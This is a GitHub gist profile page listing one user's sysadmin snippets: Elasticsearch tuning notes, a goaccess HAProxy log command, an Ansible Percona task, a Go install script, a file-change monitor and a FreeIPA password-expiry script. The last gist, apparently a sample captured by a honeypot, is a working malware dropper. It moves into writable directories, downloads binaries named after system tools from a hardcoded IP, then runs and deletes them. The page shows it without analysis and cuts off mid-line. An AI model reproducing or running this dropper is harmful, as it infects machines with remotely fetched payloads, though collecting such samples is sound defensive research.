Skip to content

Instantly share code, notes, and snippets.

View fnzv's full-sized avatar
🌐

Sami fnzv

🌐
View GitHub Profile
@fnzv
fnzv / 20130416-todo.md
Created January 29, 2017 16:17 — forked from mrflip/20130416-todo.md
Elasticsearch Tuning Plan

Next Steps

  • Measure time spend on index, flush, refresh, merge, query, etc. (TD - done)
  • Take hot threads snapshots under read+write, read-only, write-only (TD - done)
  • Adjust refresh time to 10s (from 1s) and see how load changes (TD)
  • Measure time of a rolling restart doing disable_flush and disable_recovery (TD)
  • Specify routing on query -- make it choose same node for each shard each time (MD)
  • GC new generation size (TD)
  • Warmers
  • measure before/after of client query time with and without warmers (MD)
@fnzv
fnzv / haproxy-parse.sh
Created March 9, 2017 21:43
Parsing HAProxy Logs with goaccess
goaccess -f haproxy.log --log-format='%^ %^ %^:%^:%^ %^ %^[%^]: %h:%^ [%d:%t.%^] %^ %^ %^/%^/%^/%^/%L %s %b %^ %^ %^ %^/%^/%^/%^/%^ %^/%^ "%r"' --date-format='%d/%b/%Y' --time-format='%H:%M:%S' -q
@fnzv
fnzv / main.yml
Last active August 8, 2017 10:32 — forked from bjallen/main.yml
ansible mysql percona task
---
- name: Add Percona apt signing key
sudo: yes
apt_key: keyserver=keys.gnupg.net id=8507EFA5 state=present
- name: Add Percona repository
sudo: yes
apt_repository: repo='deb http://repo.percona.com/apt trusty main' state=present
- name: Add Percona source repository
@fnzv
fnzv / golang-quickinstall.sh
Last active September 25, 2019 20:50
Golang quick-install - Ubuntu 16
#!/bin/bash
# Golang quick install
apt-get update
wget https://dl.google.com/go/go1.12.9.linux-amd64.tar.gz
sudo tar -xvf go1.12.9.linux-amd64.tar.gz
sudo mv go /usr/local
echo "export GOROOT=/usr/local/go" >> /root/.bashrc
echo "export GOPATH=$HOME/Projects" >> /root/.bashrc
echo "export PATH=$GOPATH/bin:$GOROOT/bin:$PATH" >> /root/.bashrc
@fnzv
fnzv / monitor-system-files.sh
Last active May 10, 2018 12:41
monitor-system-files.sh
#!/bin/bash
find / -xdev | sort > /root/fs-pre-snapshot.txt
sleep 2m
find / -xdev | sort > /root/fs-post-snapshot.txt
diff -daU 0 /root/fs-pre-snapshot.txt /root/fs-post-snapshot.txt | grep -vE '^(@@|\+\+\+|---)'
package main
import (
"os"
"fmt"
"github.com/BurntSushi/toml"
)
@fnzv
fnzv / gist:b1132314cfa95b4edc7569042e57daca
Created January 9, 2018 13:44
qr-code generator in Golang
package main
import "fmt"
import "os"
import qrcode "github.com/skip2/go-qrcode"
func main() {
// if not display usage
if len(os.Args) > 1 {
@fnzv
fnzv / ipa_mail_passexpiration.sh
Created January 22, 2018 14:21 — forked from miticojo/ipa_mail_passexpiration.sh
send email for password expiration
#!/bin/bash
# Source: http://vmhacks.com/freeipa-password-expiry-notification-script-for-red-hat-identity-management/
# notifies people a set number of days before expiry, once via email
# open a kerberos ticket using keytab authentication
# the following keytab file was made using ktutil with rc4-hmac
/usr/bin/kinit admin@YOURDOMAIN.COM -k -t /sextoys/admin.keytab
@fnzv
fnzv / show-recent.sh
Created January 24, 2018 09:57
show recently edited files
find /var/log/ -type f -printf '%T@ %p\n' | sort -n | tail -30 | cut -f2- -d" "
@fnzv
fnzv / bin.sh
Created February 2, 2018 23:13
bin.sh - sample from YAFH
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/ntpd; wget http://95.215.62.137/ntpd; chmod +x ntpd; ./ntpd; rm -rf ntpd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/sshd; wget http://95.215.62.137/sshd; chmod +x sshd; ./sshd; rm -rf sshd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/openssh; wget http://95.215.62.137/openssh; chmod +x openssh; ./openssh; rm -rf openssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/bash; wget http://95.215.62.137/bash; chmod +x bash; ./bash; rm -rf bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/tftp; wget http://95.215.62.137/tftp; chmod +x tftp; ./tftp; rm -rf tftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -O http://95.215.62.137/wget; wget http://95.215.62.137/wget; chmod +x wget; ./wget; rm -rf wget
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;